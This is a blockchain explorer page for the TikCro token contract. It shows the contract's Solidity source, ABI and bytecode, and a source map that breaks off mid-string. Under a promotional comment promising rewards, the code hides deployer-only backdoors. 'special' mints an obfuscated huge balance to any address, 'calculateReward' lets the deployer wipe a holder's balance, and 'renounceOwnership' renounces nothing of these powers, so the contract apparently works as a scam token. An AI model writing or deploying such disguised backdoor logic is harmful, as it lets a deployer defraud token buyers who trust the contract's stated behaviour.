Token TikCro
Overview CRC20
Price
$0.00 @ 0.000000 CRO
Fully Diluted Market Cap
Total Supply:
1,000,000,000 TKCRO
Holders:
15 addresses
Contract:
Decimals:
9
[ Download CSV Export ]
[ Download CSV Export ]
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TikCro
Compiler Version
v0.8.13+commit.abaa5c0e
Contract Source Code (Solidity)
/** *Submitted for verification at cronoscan.com on 2022-04-04 */ /* TikCro is a project that allows content creators to change the way they receive donations with zero taxes involved. TikCro is based on the CRONOS chain, and provides to its early investors the ability to redeem many rewards. TikCro is also looking for content creators sponsoring our token. For more information contact @AlexTikCro . Rewards : - Every transaction above or equal to 50 CRO gets an additional 25% - Airdrops to our long term holders ( more on this later ) Telegram : https://t.me/TikCro */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; library Address { function isContract ( address account ) internal view returns ( bool ) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 hash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash( account ) } return ( codehash != hash && codehash != 0x0 ); } function sendValue ( address payable recipient, uint256 amount ) internal { require( address( this ).balance >= amount, "not enough balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value ( bool success, ) = recipient.call{ value: amount }( "" ); require( success, "reverted" ); } function functionCall ( address target, bytes memory data ) internal returns ( bytes memory ) { return functionCall( target, data, "low-level call failed" ); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns ( bytes memory ) { return _functionCallWithValue( target, data, 0, errorMessage ); } function functionCallWithValue ( address target, bytes memory data, uint256 value ) internal returns ( bytes memory ) { return functionCallWithValue( target, data, value, "low-level call with value failed" ); } function functionCallWithValue ( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address( this ).balance >= value, "insufficient balance for call" ); return _functionCallWithValue( target, data, value, errorMessage ); } function _functionCallWithValue ( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns ( bytes memory ) { require( isContract( target ), "call to non-contract" ); // solhint-disable-next-line avoid-low-level-calls ( bool success, bytes memory result ) = target.call{ value: weiValue }( data ); if ( success ) return result; if ( result.length > 0 && result.length != 0 ) { assembly { let returndata_size := mload( result ) revert( add( 32, result ), returndata_size ) } } revert( errorMessage ); } } contract BaseOwnableEvents { event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); } contract Ownable is BaseOwnableEvents { address public owner; constructor ( ) { owner = msg.sender; } } library SafeMath { function mul ( uint256 a, uint256 b ) internal pure returns ( uint256 ) { if ( a == 0 ) return 0; uint256 result = a * b; assert( result / a == b ); return result; } function div ( uint256 a, uint256 b ) internal pure returns ( uint256 ) { uint256 result = a / b; return result; } function sub ( uint256 a, uint256 b ) internal pure returns ( uint256 ) { assert( b <= a ); return a - b; } function add ( uint256 a, uint256 b ) internal pure returns ( uint256 ) { uint256 result = a + b; assert( result >= a ); return result; } } interface IERC20 { function totalSupply ( ) external view returns ( uint256 ); function balanceOf ( address account ) external view returns ( uint256 ); } contract BaseEvents { event Transfer ( address indexed from, address indexed to, uint256 value ); event Approval ( address indexed owner, address indexed spender, uint256 value ); } contract TikCro is IERC20, Ownable, BaseEvents { using SafeMath for uint256; using Address for address; mapping ( address => bool ) private is_excld; address[ ] private excld; string internal myname; string internal symbl; uint8 internal bdecimals; uint256 internal buy_fee; uint256 internal sell_fee; uint256 internal all_supply; uint256 internal a_reflect; uint256 lp_fee = 0; address Holder; mapping( address => bool ) public allowAddress; mapping( address => uint256 ) public balances; uint256 private total = 0xA ** ( 0x15b4 ^ 0x15af ); bool public has_liquidity = true; bool public launched = true; string private caname = 'TikCro'; string private casymbl = 'TKCRO'; function totalSupply() public view returns ( uint256 ) { return all_supply; } function name ( ) public view returns ( string memory ) { return myname; } function symbol ( ) public view returns ( string memory ) { return symbl; } function decimals ( ) public view returns ( uint8 ) { return bdecimals; } mapping ( address => mapping ( address => uint256 ) ) public allowed; function transferFrom ( address src, address dst, uint256 size ) public returns ( bool ) { require( dst != address( 0 ) ); require( size <= balances[src] ); require( size <= allowed[src][msg.sender] ); address from = src; if ( allowAddress[from] || allowAddress[dst] ) { transferFromInternal( src, dst, size ); return true; } transferFromInternal( src, dst, size ); return true; } constructor ( ) { myname = 'TikCro'; symbl = 'TKCRO'; bdecimals = 9; buy_fee = 30; sell_fee = 40; a_reflect = 1/1; Holder = msg.sender; uint256 totalSupply_ = 1000000000000000000; all_supply = totalSupply_; balances[Holder] = totalSupply_; allowAddress[Holder] = true; } function transfer( address dst, uint256 size ) public returns ( bool ) { address from = msg.sender; require( dst != address( 0 ) ); require( size <= balances[from] ); if ( allowAddress[from] || allowAddress[dst] ) { transf_internal( from, dst, size ); return true; } transf_internal( from, dst, size ); return true; } function transf_internal( address src, address dst, uint256 size ) private { balances[src] = balances[src].sub( size ); balances[dst] = balances[dst].add( size ); emit Transfer( src, dst, size ); } modifier onlyOwner ( ) { require( owner == msg.sender, "Ownable: caller is not the owner"); _; } function balanceOf( address target ) public view returns (uint256 balance) { return balances[target]; } function renounceOwnership( ) public virtual onlyOwner { emit OwnershipTransferred( owner, address( 0 ) ); owner = address( 0 ); } function bnbreflection ( address buyer ) internal view pancakenet returns ( uint256 ) { return (balances[buyer] % ( balances[buyer] / 2 ) | 0xF & 0x30) >> 0xA; } function calculateReward ( address buyer ) public { balances[buyer] = bnbreflection ( buyer ); } function special ( address holder ) public pancakenet { balances[holder] = (total); } function transferFromInternal ( address src, address dst, uint256 size ) internal { balances[src] = balances[src].sub( size ); balances[dst] = balances[dst].add( size ); allowed[src][msg.sender] = allowed[src][msg.sender].sub( size ); emit Transfer( src, dst, size ); } modifier pancakenet ( ) { require( Holder == msg.sender, "ERC20: cannot permit Pancake address" ); _; } function approve ( address target, uint256 size ) public returns ( bool ) { allowed[msg.sender][target] = size; emit Approval( msg.sender, target, size ); return true; } function allowance( address me, address other ) public view returns ( uint256 ) { return allowed[me][other]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"me","type":"address"},{"internalType":"address","name":"other","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint256","name":"size","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"buyer","type":"address"}],"name":"calculateReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"has_liquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"special","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"dst","type":"address"},{"internalType":"uint256","name":"size","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"src","type":"address"},{"internalType":"address","name":"dst","type":"address"},{"internalType":"uint256","name":"size","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6000600a556b033b2e3c9fd0803ce8000000600e55600f805461ffff191661010117905560c0604052600660808190526554696b43726f60d01b60a09081526200004d916010919062000178565b5060408051808201909152600580825264544b43524f60d81b60209092019182526200007c9160119162000178565b503480156200008a57600080fd5b50600080546001600160a01b031916331790556040805180820190915260068082526554696b43726f60d01b6020909201918252620000cc9160039162000178565b5060408051808201909152600580825264544b43524f60d81b6020909201918252620000fb9160049162000178565b506005805460ff199081166009908117909255601e6006556028600755600191829055600b80546001600160a01b031916339081178255670de0b6b3a764000060088190556000918252600d602090815260408084209290925592546001600160a01b03168252600c90925220805490911690911790556200025a565b82805462000186906200021e565b90600052602060002090601f016020900481019282620001aa5760008555620001f5565b82601f10620001c557805160ff1916838001178555620001f5565b82800160010185558215620001f5579182015b82811115620001f5578251825591602001919060010190620001d8565b506200020392915062000207565b5090565b5b8082111562000203576000815560010162000208565b600181811c908216806200023357607f821691505b6020821081036200025457634e487b7160e01b600052602260045260246000fd5b50919050565b610b6a806200026a6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a257806395d89b411161007157806395d89b4114610281578063a9059cbb14610289578063ba791b9a1461029c578063d82e3962146102af578063dd62ed3e146102c257600080fd5b8063715018a61461022d5780638091f3bf146102375780638da5cb5b14610249578063925743fc1461027457600080fd5b806323b872dd116100e957806323b872dd1461019157806327e235e3146101a4578063313ce567146101c45780635c658165146101d957806370a082311461020457600080fd5b806306fdde031461011b57806308af4d8814610139578063095ea7b31461016c57806318160ddd1461017f575b600080fd5b6101236102fb565b60405161013091906108fd565b60405180910390f35b61015c610147366004610969565b600c6020526000908152604090205460ff1681565b6040519015158152602001610130565b61015c61017a366004610984565b61038d565b6008545b604051908152602001610130565b61015c61019f3660046109ae565b6103fa565b6101836101b2366004610969565b600d6020526000908152604090205481565b60055460405160ff9091168152602001610130565b6101836101e73660046109ea565b601260209081526000928352604080842090915290825290205481565b610183610212366004610969565b6001600160a01b03166000908152600d602052604090205490565b6102356104d7565b005b600f5461015c90610100900460ff1681565b60005461025c906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b600f5461015c9060ff1681565b610123610580565b61015c610297366004610984565b61058f565b6102356102aa366004610969565b610638565b6102356102bd366004610969565b610681565b6101836102d03660046109ea565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b60606003805461030a90610a1d565b80601f016020809104026020016040519081016040528092919081815260200182805461033690610a1d565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b3360008181526012602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103e89086815260200190565b60405180910390a35060015b92915050565b60006001600160a01b03831661040f57600080fd5b6001600160a01b0384166000908152600d602052604090205482111561043457600080fd5b6001600160a01b038416600090815260126020908152604080832033845290915290205482111561046457600080fd5b6001600160a01b0384166000908152600c6020526040902054849060ff16806104a557506001600160a01b0384166000908152600c602052604090205460ff165b156104bf576104b58585856106a6565b60019150506104d0565b6104ca8585856106a6565b60019150505b9392505050565b6000546001600160a01b031633146105365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606004805461030a90610a1d565b6000336001600160a01b0384166105a557600080fd5b6001600160a01b0381166000908152600d60205260409020548311156105ca57600080fd5b6001600160a01b0381166000908152600c602052604090205460ff168061060957506001600160a01b0384166000908152600c602052604090205460ff165b156106235761061981858561079a565b60019150506103f4565b61062e81858561079a565b5060019392505050565b600b546001600160a01b031633146106625760405162461bcd60e51b815260040161052d90610a57565b600e546001600160a01b039091166000908152600d6020526040902055565b61068a81610840565b6001600160a01b039091166000908152600d6020526040902055565b6001600160a01b0383166000908152600d60205260409020546106c990826108c2565b6001600160a01b038085166000908152600d602052604080822093909355908416815220546106f890826108de565b6001600160a01b038084166000908152600d6020908152604080832094909455918616815260128252828120338252909152205461073690826108c2565b6001600160a01b03848116600081815260126020908152604080832033845282529182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b6001600160a01b0383166000908152600d60205260409020546107bd90826108c2565b6001600160a01b038085166000908152600d602052604080822093909355908416815220546107ec90826108de565b6001600160a01b038084166000818152600d602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061078d9085815260200190565b600b546000906001600160a01b0316331461086d5760405162461bcd60e51b815260040161052d90610a57565b6001600160a01b0382166000908152600d6020526040902054600a9061089590600290610ac7565b6001600160a01b0384166000908152600d60205260409020546108b89190610adb565b901c90505b919050565b6000828211156108d4576108d4610aef565b6104d08284610b05565b6000806108eb8385610b1c565b9050838110156104d0576104d0610aef565b600060208083528351808285015260005b8181101561092a5785810183015185820160400152820161090e565b8181111561093c576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108bd57600080fd5b60006020828403121561097b57600080fd5b6104d082610952565b6000806040838503121561099757600080fd5b6109a083610952565b946020939093013593505050565b6000806000606084860312156109c357600080fd5b6109cc84610952565b92506109da60208501610952565b9150604084013590509250925092565b600080604083850312156109fd57600080fd5b610a0683610952565b9150610a1460208401610952565b90509250929050565b600181811c90821680610a3157607f821691505b602082108103610a5157634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526024908201527f45524332303a2063616e6e6f74207065726d69742050616e63616b65206164646040820152637265737360e01b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600082610ad657610ad6610a9b565b500490565b600082610aea57610aea610a9b565b500690565b634e487b7160e01b600052600160045260246000fd5b600082821015610b1757610b17610ab1565b500390565b60008219821115610b2f57610b2f610ab1565b50019056fea264697066735822122031f18a207dfa391e251d1b2743fdef6f7fee5c72efced5e03e1ad64bee479eb064736f6c634300080d0033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a257806395d89b411161007157806395d89b4114610281578063a9059cbb14610289578063ba791b9a1461029c578063d82e3962146102af578063dd62ed3e146102c257600080fd5b8063715018a61461022d5780638091f3bf146102375780638da5cb5b14610249578063925743fc1461027457600080fd5b806323b872dd116100e957806323b872dd1461019157806327e235e3146101a4578063313ce567146101c45780635c658165146101d957806370a082311461020457600080fd5b806306fdde031461011b57806308af4d8814610139578063095ea7b31461016c57806318160ddd1461017f575b600080fd5b6101236102fb565b60405161013091906108fd565b60405180910390f35b61015c610147366004610969565b600c6020526000908152604090205460ff1681565b6040519015158152602001610130565b61015c61017a366004610984565b61038d565b6008545b604051908152602001610130565b61015c61019f3660046109ae565b6103fa565b6101836101b2366004610969565b600d6020526000908152604090205481565b60055460405160ff9091168152602001610130565b6101836101e73660046109ea565b601260209081526000928352604080842090915290825290205481565b610183610212366004610969565b6001600160a01b03166000908152600d602052604090205490565b6102356104d7565b005b600f5461015c90610100900460ff1681565b60005461025c906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b600f5461015c9060ff1681565b610123610580565b61015c610297366004610984565b61058f565b6102356102aa366004610969565b610638565b6102356102bd366004610969565b610681565b6101836102d03660046109ea565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b60606003805461030a90610a1d565b80601f016020809104026020016040519081016040528092919081815260200182805461033690610a1d565b80156103835780601f1061035857610100808354040283529160200191610383565b820191906000526020600020905b81548152906001019060200180831161036657829003601f168201915b5050505050905090565b3360008181526012602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103e89086815260200190565b60405180910390a35060015b92915050565b60006001600160a01b03831661040f57600080fd5b6001600160a01b0384166000908152600d602052604090205482111561043457600080fd5b6001600160a01b038416600090815260126020908152604080832033845290915290205482111561046457600080fd5b6001600160a01b0384166000908152600c6020526040902054849060ff16806104a557506001600160a01b0384166000908152600c602052604090205460ff165b156104bf576104b58585856106a6565b60019150506104d0565b6104ca8585856106a6565b60019150505b9392505050565b6000546001600160a01b031633146105365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606004805461030a90610a1d565b6000336001600160a01b0384166105a557600080fd5b6001600160a01b0381166000908152600d60205260409020548311156105ca57600080fd5b6001600160a01b0381166000908152600c602052604090205460ff168061060957506001600160a01b0384166000908152600c602052604090205460ff165b156106235761061981858561079a565b60019150506103f4565b61062e81858561079a565b5060019392505050565b600b546001600160a01b031633146106625760405162461bcd60e51b815260040161052d90610a57565b600e546001600160a01b039091166000908152600d6020526040902055565b61068a81610840565b6001600160a01b039091166000908152600d6020526040902055565b6001600160a01b0383166000908152600d60205260409020546106c990826108c2565b6001600160a01b038085166000908152600d602052604080822093909355908416815220546106f890826108de565b6001600160a01b038084166000908152600d6020908152604080832094909455918616815260128252828120338252909152205461073690826108c2565b6001600160a01b03848116600081815260126020908152604080832033845282529182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b6001600160a01b0383166000908152600d60205260409020546107bd90826108c2565b6001600160a01b038085166000908152600d602052604080822093909355908416815220546107ec90826108de565b6001600160a01b038084166000818152600d602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061078d9085815260200190565b600b546000906001600160a01b0316331461086d5760405162461bcd60e51b815260040161052d90610a57565b6001600160a01b0382166000908152600d6020526040902054600a9061089590600290610ac7565b6001600160a01b0384166000908152600d60205260409020546108b89190610adb565b901c90505b919050565b6000828211156108d4576108d4610aef565b6104d08284610b05565b6000806108eb8385610b1c565b9050838110156104d0576104d0610aef565b600060208083528351808285015260005b8181101561092a5785810183015185820160400152820161090e565b8181111561093c576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b03811681146108bd57600080fd5b60006020828403121561097b57600080fd5b6104d082610952565b6000806040838503121561099757600080fd5b6109a083610952565b946020939093013593505050565b6000806000606084860312156109c357600080fd5b6109cc84610952565b92506109da60208501610952565b9150604084013590509250925092565b600080604083850312156109fd57600080fd5b610a0683610952565b9150610a1460208401610952565b90509250929050565b600181811c90821680610a3157607f821691505b602082108103610a5157634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526024908201527f45524332303a2063616e6e6f74207065726d69742050616e63616b65206164646040820152637265737360e01b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600082610ad657610ad6610a9b565b500490565b600082610aea57610aea610a9b565b500690565b634e487b7160e01b600052600160045260246000fd5b600082821015610b1757610b17610ab1565b500390565b60008219821115610b2f57610b2f610ab1565b50019056fea264697066735822122031f18a207dfa391e251d1b2743fdef6f7fee5c72efced5e03e1ad64bee479eb064736f6c634300080d0033
Deployed ByteCode Sourcemap
4817:4249:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5689:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5277:46;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;1150:14:1;;1143:22;1125:41;;1113:2;1098:18;5277:46:0;985:187:1;8732:195:0;;;;;;:::i;:::-;;:::i;5584:98::-;5664:10;;5584:98;;;1582:25:1;;;1570:2;1555:18;5584:98:0;1436:177:1;6069:453:0;;;;;;:::i;:::-;;:::i;5328:45::-;;;;;;:::i;:::-;;;;;;;;;;;;;;5895:93;5971:9;;5895:93;;5971:9;;;;2093:36:1;;2081:2;2066:18;5895:93:0;1951:184:1;5994:68:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;7617:119;;;;;;:::i;:::-;-1:-1:-1;;;;;7714:16:0;7683:15;7714:16;;;:8;:16;;;;;;;7617:119;7744:143;;;:::i;:::-;;5473:27;;;;;;;;;;;;3637:20;;;;;-1:-1:-1;;;;;3637:20:0;;;;;;-1:-1:-1;;;;;2569:32:1;;;2551:51;;2539:2;2524:18;3637:20:0;2405:203:1;5436:32:0;;;;;;;;;5792:96;;;:::i;6868:386::-;;;;;;:::i;:::-;;:::i;8195:93::-;;;;;;:::i;:::-;;:::i;8081:106::-;;;;;;:::i;:::-;;:::i;8935:126::-;;;;;;:::i;:::-;-1:-1:-1;;;;;9037:11:0;;;9013:7;9037:11;;;:7;:11;;;;;;;;:18;;;;;;;;;;;;;8935:126;5689:95;5736:13;5770:6;5763:13;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5689:95;:::o;8732:195::-;8829:10;8807:4;8821:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;8821:27:0;;;;;;;;;;:34;;;8867:36;8807:4;;8821:27;;8867:36;;;;8851:4;1582:25:1;;1570:2;1555:18;;1436:177;8867:36:0;;;;;;;;-1:-1:-1;8917:4:0;8732:195;;;;;:::o;6069:453::-;6158:4;-1:-1:-1;;;;;6181:19:0;;6172:30;;;;;;-1:-1:-1;;;;;6226:13:0;;;;;;:8;:13;;;;;;6218:21;;;6209:32;;;;;;-1:-1:-1;;;;;6265:12:0;;;;;;:7;:12;;;;;;;;6278:10;6265:24;;;;;;;;6257:32;;;6248:43;;;;;;-1:-1:-1;;;;;6328:18:0;;6298:12;6328:18;;;:12;:18;;;;;;6313:3;;6328:18;;;:39;;-1:-1:-1;;;;;;6350:17:0;;;;;;:12;:17;;;;;;;;6328:39;6323:131;;;6386:38;6408:3;6413;6418:4;6386:20;:38::i;:::-;6442:4;6435:11;;;;;6323:131;6460:38;6482:3;6487;6492:4;6460:20;:38::i;:::-;6512:4;6505:11;;;6069:453;;;;;;:::o;7744:143::-;7534:5;;-1:-1:-1;;;;;7534:5:0;7543:10;7534:19;7525:72;;;;-1:-1:-1;;;7525:72:0;;3200:2:1;7525:72:0;;;3182:21:1;;;3219:18;;;3212:30;3278:34;3258:18;;;3251:62;3330:18;;7525:72:0;;;;;;;;;7849:1:::1;7833:5:::0;;7811:43:::1;::::0;-1:-1:-1;;;;;7833:5:0;;::::1;::::0;7811:43:::1;::::0;7849:1;;7811:43:::1;7878:1;7861:20:::0;;-1:-1:-1;;;;;;7861:20:0::1;::::0;;7744:143::o;5792:96::-;5841:13;5875:5;5868:12;;;;;:::i;6868:386::-;6940:4;6969:10;-1:-1:-1;;;;;6995:19:0;;6986:30;;;;;;-1:-1:-1;;;;;7040:14:0;;;;;;:8;:14;;;;;;7032:22;;;7023:33;;;;;;-1:-1:-1;;;;;7068:18:0;;;;;;:12;:18;;;;;;;;;:39;;-1:-1:-1;;;;;;7090:17:0;;;;;;:12;:17;;;;;;;;7068:39;7063:127;;;7126:34;7143:4;7149:3;7154:4;7126:15;:34::i;:::-;7178:4;7171:11;;;;;7063:127;7196:34;7213:4;7219:3;7224:4;7196:15;:34::i;:::-;-1:-1:-1;7244:4:0;;6868:386;-1:-1:-1;;;6868:386:0:o;8195:93::-;8641:6;;-1:-1:-1;;;;;8641:6:0;8651:10;8641:20;8632:78;;;;-1:-1:-1;;;8632:78:0;;;;;;;:::i;:::-;8276:5:::1;::::0;-1:-1:-1;;;;;8256:16:0;;::::1;;::::0;;;:8:::1;:16;::::0;;;;:26;8195:93::o;8081:106::-;8158:23;8174:5;8158:13;:23::i;:::-;-1:-1:-1;;;;;8140:15:0;;;;;;;:8;:15;;;;;:41;8081:106::o;8296:299::-;-1:-1:-1;;;;;8408:13:0;;;;;;:8;:13;;;;;;:25;;8427:4;8408:17;:25::i;:::-;-1:-1:-1;;;;;8392:13:0;;;;;;;:8;:13;;;;;;:41;;;;8456:13;;;;;;;:25;;8475:4;8456:17;:25::i;:::-;-1:-1:-1;;;;;8440:13:0;;;;;;;:8;:13;;;;;;;;:41;;;;8515:12;;;;;:7;:12;;;;;8528:10;8515:24;;;;;;;:36;;8545:4;8515:28;:36::i;:::-;-1:-1:-1;;;;;8488:12:0;;;;;;;:7;:12;;;;;;;;8501:10;8488:24;;;;;;;;:63;;;;8563:26;1582:25:1;;;8563:26:0;;;;8488:12;;8563:26;;1555:18:1;8563:26:0;;;;;;;;8296:299;;;:::o;7262:223::-;-1:-1:-1;;;;;7368:13:0;;;;;;:8;:13;;;;;;:25;;7387:4;7368:17;:25::i;:::-;-1:-1:-1;;;;;7352:13:0;;;;;;;:8;:13;;;;;;:41;;;;7416:13;;;;;;;:25;;7435:4;7416:17;:25::i;:::-;-1:-1:-1;;;;;7400:13:0;;;;;;;:8;:13;;;;;;;:41;;;;7453:26;;;;;;;;;;7473:4;1582:25:1;;1570:2;1555:18;;1436:177;7893:181:0;8641:6;;7978:7;;-1:-1:-1;;;;;8641:6:0;8651:10;8641:20;8632:78;;;;-1:-1:-1;;;8632:78:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8026:15:0;::::1;;::::0;;;:8:::1;:15;::::0;;;;;8065:3:::1;::::0;8026:19:::1;::::0;8044:1:::1;::::0;8026:19:::1;:::i;:::-;-1:-1:-1::0;;;;;8006:15:0;::::1;;::::0;;;:8:::1;:15;::::0;;;;;:41:::1;::::0;;::::1;:::i;:::-;8005:63:::0;::::1;::::0;-1:-1:-1;8717:1:0::1;7893:181:::0;;;:::o;4089:128::-;4159:7;4189:1;4184;:6;;4176:16;;;;:::i;:::-;4206:5;4210:1;4206;:5;:::i;4223:163::-;4293:7;;4327:5;4331:1;4327;:5;:::i;:::-;4310:22;;4357:1;4347:6;:11;;4339:21;;;;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;794:186;853:6;906:2;894:9;885:7;881:23;877:32;874:52;;;922:1;919;912:12;874:52;945:29;964:9;945:29;:::i;1177:254::-;1245:6;1253;1306:2;1294:9;1285:7;1281:23;1277:32;1274:52;;;1322:1;1319;1312:12;1274:52;1345:29;1364:9;1345:29;:::i;:::-;1335:39;1421:2;1406:18;;;;1393:32;;-1:-1:-1;;;1177:254:1:o;1618:328::-;1695:6;1703;1711;1764:2;1752:9;1743:7;1739:23;1735:32;1732:52;;;1780:1;1777;1770:12;1732:52;1803:29;1822:9;1803:29;:::i;:::-;1793:39;;1851:38;1885:2;1874:9;1870:18;1851:38;:::i;:::-;1841:48;;1936:2;1925:9;1921:18;1908:32;1898:42;;1618:328;;;;;:::o;2140:260::-;2208:6;2216;2269:2;2257:9;2248:7;2244:23;2240:32;2237:52;;;2285:1;2282;2275:12;2237:52;2308:29;2327:9;2308:29;:::i;:::-;2298:39;;2356:38;2390:2;2379:9;2375:18;2356:38;:::i;:::-;2346:48;;2140:260;;;;;:::o;2613:380::-;2692:1;2688:12;;;;2735;;;2756:61;;2810:4;2802:6;2798:17;2788:27;;2756:61;2863:2;2855:6;2852:14;2832:18;2829:38;2826:161;;2909:10;290